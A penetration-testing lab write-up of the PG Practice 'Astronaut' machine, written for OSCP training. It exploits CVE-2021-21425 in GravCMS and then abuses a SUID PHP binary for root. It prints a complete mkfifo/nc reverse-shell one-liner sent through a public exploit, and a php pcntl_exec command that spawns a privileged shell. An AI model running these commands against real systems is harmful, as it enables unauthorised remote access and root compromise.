Internal Privilege Escalation — PG Practice “Astronaut”

A realistic Linux compromise walkthrough by an OSCP-certified pentester

Overview

This write‑up documents the complete compromise of the PG Practice “Astronaut” Linux machine, starting from initial enumeration to full root access. The target exposed a vulnerable GravCMS instance which led to remote code execution, followed by a classic SUID binary privilege escalation.

Target OS: Ubuntu Linux Attack Type: Web exploitation → Local privilege escalation Difficulty: OSCP‑aligned (realistic, no gimmicks)

Initial Enumeration

Nmap Scan:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Index of /
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

This immediately suggested the presence of GravCMS, a flat‑file CMS often found vulnerable when misconfigured or outdated.

Web Exploitation — GravCMS RCE

A quick search for publicly known GravCMS vulnerabilities led to CVE‑2021‑21425, an unauthenticated arbitrary YAML write vulnerability that results in remote code execution.

[embed]GitHub - CsEnox/CVE-2021-21425: GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code… GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution (CVE-2021-21425) - CsEnox/CVE-2021-21425github.com

Gaining Initial Foothold

Using the public exploit, a reverse shell payload was executed against the vulnerable endpoint:

python3 exploit.py -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.194 80 >/tmp/f' -t http://192.168.123.12/grav-admin

A reverse shell was successfully received, granting access as a low‑privileged user on the target system.

Post‑Exploitation Enumeration

Once inside the machine, standard local enumeration was performed. To automate and speed up the process, LinPEAS was uploaded and executed.

This immediately stood out, as PHP running with the SUID bit set is extremely dangerous, allowing execution with root privileges.

Privilege Escalation — Abusing SUID PHP

To confirm exploitability, GTFOBins was consulted for known SUID abuse techniques involving PHP.

GTFOBins confirms that PHP can spawn a privileged shell when executed with the -p flag under SUID context.

Root Shell

The following command was executed:

./usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"

Pwned!

Key Takeaways

• Publicly exposed CMS admin panels should never be assumed safe
• GravCMS versions vulnerable to CVE‑2021‑21425 allow unauthenticated RCE
• SUID binaries remain one of the most reliable and realistic privilege escalation vectors in Linux
• Tools like LinPEAS + GTFOBins are indispensable during OSCP‑style engagements

Final Thoughts

This machine closely mirrors real‑world misconfigurations seen in internal environments:

• Outdated CMS
• Poor file permissions
• Dangerous SUID binaries left behind

An excellent practice target for anyone preparing for OSCP / PEN‑200.